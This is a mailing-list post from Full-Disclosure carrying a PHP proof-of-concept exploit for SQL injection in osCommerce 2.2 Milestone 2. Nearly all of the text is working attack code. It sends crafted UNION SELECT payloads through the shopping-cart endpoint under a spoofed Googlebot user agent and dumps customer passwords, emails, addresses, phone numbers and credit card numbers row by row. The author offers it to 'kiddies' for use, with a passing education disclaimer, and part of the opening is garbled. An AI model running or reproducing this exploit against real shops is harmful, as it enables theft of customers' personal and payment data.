php poc exploit for osCommerce <= 2.2 Milestone 2 060817 vuln found by gulftech it does not work with magic_quotes_gpc on so make it off to test this script. you're lucky if you can find server with this settings set to off. this is for education use only. topic: sql injection. kiddies use it at your own discretion. #!/usr/bin/php -q -d short_open_tag=on '/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if($Debug==1) { echo "Name\t: osCommerce Multiple Vulnerabilities\r\n"; echo "Date\t: August 17, 2006\r\n"; echo "Vendor\t: osCommerce\r\n"; echo "URL\t: http://www.oscommerce.com/\r\n"; echo "Version\t: osCommerce < 2.2 Milestone 2 060817\r\n"; echo "Risk\t: Multiple Vulnerabilities\r\n"; echo "Exploit\t: Customers Info, Pass, and Credit Info Disclosure\r\n"; echo "Author\t: Perseus\r\n"; echo "Compatibility\t: magic_quotes_gpc off, union supported\r\n"; echo "Greets\t: rgod, James Bercegay, str0ke, hdm, r57 \r\n"; } // try if you can rewrite this code to attack osc with magic_quotes_gpc on // because I found it impossible for the moment. // this will make oscommerce people update their vuln servers right now. $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $loop = 1000; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex, $Debug; if ($proxy=='') { if($Debug==1) echo "\r\nProcessing packets directly...\r\n"; $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo "\r\nNo response from ".$host.":".$port."\r\n"; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); if($Debug==1) echo "\r\nProcessing packets using proxy ".$parts[0].":".$parts[1]." ...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo "\r\nNo response from proxy...\r\n";die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } $bl=0; for($y=0;$y<=$loop;$y++) { //1. get cookie $out = "GET ".$p."product_info.php?products_id=".$products_id." HTTP/1.1\r\n"; $out .= "Host: ".$host."\r\n"; $out .= "Connection: Close\r\n\r\n"; sendpacketii($out); $e = explode("Set-Cookie: osCsid=",$html); $e2 = explode(";",$e[1]); $cookie = $e2[0]; //2. injection if($whatinfo=="pass") { $sql="999' UNION SELECT 0 , CONCAT( CHAR(77),'||||', customers_password, '^', customers_email_address,'|',customers_firstname,'|',customers_lastname,'|',customers_dob,'|',customers_telephone, '^') , 0 , 0 FROM customers LIMIT ".$y.",1 /*"; } elseif($whatinfo=="addr") { $sql="999' UNION SELECT 0 , CONCAT( CHAR(77),'||||', entry_company, '^', entry_firstname,'|',entry_lastname,'|',entry_street_address,'|',entry_suburb,'|',entry_postcode,'|',entry_city,'|',entry_state, '^') , 0 , 0 FROM address_book LIMIT ".$y.",1 /*"; } elseif($whatinfo=="cc") { $sql="999' UNION SELECT 0 , CONCAT( CHAR(77),'||||', cc_type, '^', cc_owner,'|',cc_number,'|',cc_expires,'|',billing_street_address,'|',billing_suburb,'|',billing_city,'|',billing_postcode,'|',billing_state,'|',billing_country,'^') , 0 , 0 FROM orders LIMIT ".$y.",1 /*"; } $sql=urlencode($sql); $data = "id[0]=".$sql.""; $data.="&products_id=".$products_id.""; $out = "POST ".$p."product_info.php?products_id=".$products_id."&action=add_product&osCsid=".$cookie." HTTP/1.0\r\n"; $out .= "User-Agent: Googlebot/2.1\r\n"; $out .= "Host: ".$host."\r\n"; $out .= "Accept: text/plain\r\n"; $out .= "Connection: Close\r\n"; $out .= "Content-Type: application/x-www-form-urlencoded\r\n"; $out .= "Cookie: ".$cookie."\r\n"; $out .= "Content-Length: ".strlen($data)."\r\n\r\n"; $out .= $data; sendpacketii($out); //3. get vals $out = "GET ".$p."shopping_cart.php?osCsid=".$cookie." HTTP/1.1\r\n"; $out .= "Host: ".$host."\r\n"; $out .= "Connection: Close\r\n\r\n"; sendpacketii($out); //echo $html; $e = explode("M||||",$html); $e2 = explode("^",$e[1]); $str = "\r\n".$y.". ".$e2[0]." ".$e2[1]."\r\n"; echo $str; $strl = strlen($str); if($strl<=25) $bl++; if($bl==3) break; } ?> __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/